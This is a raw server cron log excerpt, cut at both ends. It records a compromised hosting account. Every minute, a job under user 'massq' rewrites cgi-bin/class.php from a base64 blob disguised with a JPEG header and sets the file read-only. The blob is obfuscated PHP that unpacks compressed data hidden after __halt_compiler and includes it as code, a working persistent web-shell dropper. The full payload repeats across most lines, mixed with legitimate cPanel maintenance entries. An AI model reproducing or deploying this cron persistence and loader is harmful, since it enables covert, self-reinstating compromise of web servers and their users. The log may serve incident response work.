bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:26:01 server CROND[14834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:27:01 server CROND[14933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:27:01 server CROND[14934]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 17:28:01 server CROND[15011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:29:01 server CROND[15078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:30:01 server CROND[15146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:30:01 server CROND[15147]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 17:30:01 server CROND[15148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:30:01 server CROND[15149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:31:01 server CROND[15368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:32:01 server CROND[15426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:33:01 server CROND[15489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:34:01 server CROND[15558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:35:01 server CROND[15639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:35:01 server CROND[15644]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 17:35:01 server CROND[15647]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 17:35:01 server CROND[15645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:35:01 server CROND[15646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:36:01 server CROND[15872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:37:01 server CROND[15942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:38:01 server CROND[16018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:39:01 server CROND[16091]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 17:39:01 server CROND[16092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyC